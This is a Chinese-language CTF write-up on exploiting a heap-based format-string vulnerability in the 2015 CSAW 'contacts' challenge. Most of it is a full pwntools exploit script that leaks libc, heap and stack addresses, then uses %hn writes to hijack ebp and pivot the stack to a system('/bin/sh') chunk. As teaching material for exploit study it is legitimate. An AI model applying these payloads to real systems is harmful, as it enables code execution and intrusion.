# 堆上格式化字符利用

# 利用思路:

在堆上利用格式化字符串,需要注意几个问题

其实和别的格式化字符串几乎一样,只不过可以多一个利用思路,可以解 system (’/bin/sh’) 写入 chunk 块,篡改 ebp 或 rbp,在有返回地址的情况下 leave ret 之后,进行栈迁移,迁到 system (’/bin/sh’) 那部分地址的 - 4 或 - 8 处

接下来由一道题目详细介绍这类打法:

https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/fmtstr/2015-CSAW-contacts

关于程序,需要分析它的贯穿题目利用的结构体

00000000 Struct_phone struc ; (sizeof=0x50, mappedto_7)
00000000                               ; XREF: fetsName+1A/r
00000000                               ; fetsName+34/r ...
00000000 description dd ?              ; XREF: fetsdescription+41/w
00000000                               ; fetsdescription+46/r ...
00000004 phone_number dd ?             ; XREF: fetsPhone+2F/w
00000004                               ; fetsPhone+35/r ...
00000008 name db 64 dup(?)             ; XREF: fetsName+1A/r
00000008                               ; fetsName+34/r ... ; string(C)
00000048 length dd ?                   ; XREF: fetsdescription+2B/w
00000048                               ; Display+53/r ...
0000004C inuse dd ?                    ; XREF: Create+20/r Create+5D/w ...
00000050 Struct_phone ends

分析过程就不分析了,大概是这样

整个题目利用处在这里

int __cdecl sub_8048BD1(const char *a1, int a2, const char *a3, char *format)
{
  printf("\tName: %s\n", a1);
  printf("\tLength %u\n", a2);
  printf("\tPhone #: %s\n", a3);
  printf("\tDescription: ");
  return printf(format);
}

在这里他是用户打印的内容,其中会格式化解析用户在堆上写入的字符串信息,通过这些信息,我们就很容实现格式化的利用,接下来我们通过劫持 ebp,从而将栈迁移到我们实现布置好的堆块上。

还是比较简单的,泄露完成信息之后将栈劫持 chunk 即可完成本次攻击

'''
huan_attack_pwn
'''
import sys
from pwn import *
# from LibcSearcher import *
# from ctypes import *
# context(arch='amd64', os='linux', log_level='debug')
context(arch='i386' , os='linux', log_level='debug')
binary = './contacts'
libc = '/home/yhuan/glibc-all-in-one/libs/2.23-0ubuntu3_i386/libc.so.6'
# host, port = ":".split(":")
print(('\033[31;40mremote\033[0m: (y)\n'
    '\033[32;40mprocess\033[0m: (n)'))
if sys.argv[1] == 'y':
    r = remote(host, int(port))
else:
    r = process(binary)
# r = gdb.debug(binary)
# libc = cdll.LoadLibrary(libc)
libc = ELF(libc)
elf = ELF(binary)
# srand = libc.srand (libc.time (0)) #设置种子
default = 1
se      = lambda data                     : r.send(data)
sa      = lambda delim, data              : r.sendafter(delim, data)
sl      = lambda data                     : r.sendline(data)
sla     = lambda delim, data              : r.sendlineafter(delim, data)
rc      = lambda numb=4096                : r.recv(numb)
rl      = lambda time=default             : r.recvline(timeout=time)
ru      = lambda delims, time=default     : r.recvuntil(delims,timeout=time)
rpu     = lambda delims, time=default     : r.recvuntil(delims,timeout=time,drop=True)
uu32    = lambda data                     : u32(data.ljust(4, b'\0'))
uu64    = lambda data                     : u64(data.ljust(8, b'\0'))
lic     = lambda data                     : uu64(ru(data)[-6:])
padding = lambda length                   : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
lg      = lambda var_name                 : log.success(f"{var_name} :0x{globals()[var_name]:x}")
prl     = lambda var_name                 : print(len(var_name))
debug   = lambda command=''               : gdb.attach(r,command)
it      = lambda                          : r.interactive()
def createcontact(name, phone, descrip_len, description):
    ru('>>> ')
    sl('1')
    ru('Contact info: \n')
    ru('Name: ')
    sl(name)
    ru('You have 10 numbers\n')
    sl(phone)
    ru('Length of description: ')
    sl(descrip_len)
    ru('description:\n\t\t')
    sl(description)
def printcontact():
    ru('>>> ')
    sl('4')
    ru('Contacts:')
    ru('Description: ')
# debug()
pl = '%2$paaaa'
createcontact('%p','1111',str(0x32),pl)
printcontact()
pause()
ru('Descriptio0x')
libcbase = int(rc(10),16) - 11 - libc.sym['puts']
lg('libcbase')
system = libc.sym['system'] + libcbase
binsh = next(libc.search(b'/bin/sh')) + libcbase
pl = flat([
    p32(system),
    b'aaaa',
    p32(binsh),
    b'<>%10$p()%6$pcccc'])
createcontact('huan','1111',str(0x32),pl)
printcontact()
ru('<>0x')
heapaddr = int(rc(7),16)
ru('()0x')
stack = int(rc(8),16)
ret_sys = heapaddr + 12
lg('heapaddr')
lg('stack')
lg('ret_sys')
# debug('b *0x08048BD1')
pause()
# debug()
# pl1 = ret_sys & 0xff
# lg('pl1')
pl1 = ret_sys & 0xffff
lg('pl1')
pl2 = (ret_sys >> 16) & 0xffff
lg('pl2')
# pause()
# pl = '%' + str(ret_sys & 0xffff) + 'c%6$n'
# createcontact('huan','1111',str(0x32),pl)
# printcontact()
pl = '%' + str(pl1) + 'c%6$hn'
createcontact('huan','1111',str(0x32),pl)
printcontact()
pl = '%' + str((stack+2) & 0xffff) + 'c%34$hn'
createcontact('huan','1111',str(0x32),pl)
printcontact()
pl = '%' + str(pl2) + 'c%71$hn'
createcontact('huan','1111',str(0x32),pl)
printcontact()
ru('>>> ')
sl('5')
it()